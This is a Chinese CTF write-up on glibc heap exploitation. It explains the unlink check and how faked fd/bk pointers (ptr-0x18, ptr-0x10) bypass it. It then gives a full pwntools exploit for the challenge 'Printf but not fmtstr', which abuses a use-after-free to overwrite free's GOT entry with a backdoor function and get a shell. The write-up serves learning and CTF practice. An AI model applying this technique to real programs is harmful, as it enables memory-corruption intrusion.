unlink

在free时为了避免有过多的碎片化的堆块,glibc中会利用unlink把物理地址相近的被释放的堆合并成一个堆块(fastbin和tcache不会触发unlink)。

unlink合并时进行如下操作

1
2
3
4
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD

即让当前堆块所指向的前一个堆块的bk改为当前堆块所指向后一个堆块的地址。让当前堆块所指向后一个堆块的fd改为当前堆块所指向前一个堆块的地址

同时unlink会有一个检查

会检查当前chunk的前一个chunk的bk是否指向当前chunk,当前chunk的后一个chunk的fd是否指向当前chunk

1
FD->bk == p || BK->fd == p

unsafe unlink利用

利用前提

  • 堆块能进入unsortedbin
  • 存在UAF
  • 原码中利用位于全局变量(bss段和data段)的指针对申请的堆块进行管理

指向某一个chunk的指针为ptr,ptr位于全局变量中

改chunk的fd为ptr-0x18 检查时会检查ptr-0x18的bk,即(ptr-0x18)+0x18的位置为ptr

改chunk的bk为ptr-0x10 检查时会检查ptr-0x10的fd,即(ptr-0x10)+0x10的位置为ptr

如此一来就会绕过unlink时的检查

此时再触发unlink就会进行合并,此时ptr被更改为ptr-0x18

之后对ptr进行edit操作就直接控制了全局变量,不会控制堆

实例

[羊城杯 2023 决赛]Printf but not fmtstr | NSSCTF

add show edit free功能齐全,题目中给了后门函数

1

add限制了申请内存的大小,只能申请到unsortedbin中的堆块大小

同时有全局变量heap_addr来保存堆的内存。注意:malloc返回的地址是从data开始的而不是从chunk头开始,因此要想办法切割unsortedbin让指向chunkdata的位置变为chunk头

2

free存在UAF

3

首先申请3个0x510的chunk(c0,c1,c2),第三个是为了防止与topchunk合并

释放前两个后再申请0x520的堆块,此时原本指向第二个chunkdata的指针指向了chunk头,因为chunk少了0x10的大小,此时对原先的c1进行修改相当于修改了被切割后的chunk头

4

此时已经伪造了fd和bk

5

释放c2触发unlink,此时对c1操作就是对0x4040d0操作

可以改c0出的指针为got.free

再edit c0即edit got.free,改got.free为后门函数,再次调用free即getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
from LibcSearcher import*
from ctypes import*
context(log_level='debug',arch='amd64',os='linux')

libc=ELF('/home/mrbw/Desktop/pwn_tools/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')
libc=ELF('./libc.so.6')
e=ELF('./vuln')
r=process('./vuln')
#r=remote('node4.anna.nssctf.cn',28413)
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)

def add(idx,size):
r.recvuntil(b'>')
r.sendline(b'1')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Size: ')
r.sendline(str(size).encode())
def free(idx):
r.recvuntil(b'>')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
def show(idx):
r.recvuntil(b'>')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
def edit(idx,data):
r.recvuntil(b'>')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Content: ')
r.send(data)

heap=0x4040e0+8 # heap+8为c1的地址,后续改c1
win = 0x4011D6

gdb.attach(r,'b *0x4016e7')
for i in range(3):
add(i,0x510)


free(0)
'''
show(0)
ru("Content: ")
base=u64(rc(6).ljust(8,b'\x00'))-0x1f6cc0
log.success(hex(base))
'''
payload=p64(0)+p64(0x511)+p64(heap-0x18)+p64(heap-0x10)
free(1)

add(3,0x520)
edit(1,payload)
free(2)#触发unlink

edit(1,p64(0)*2+p64(e.got["free"]))
edit(0,p64(win))
free(3)

#gdb.attach(r)
r.interactive()

不得不说lambda确实好用

还有一点,chunk2在释放完后必须进入topchunk,否则会报错

free(): corrupted unsorted chunks

可能是破坏了unsortedbin的双向链表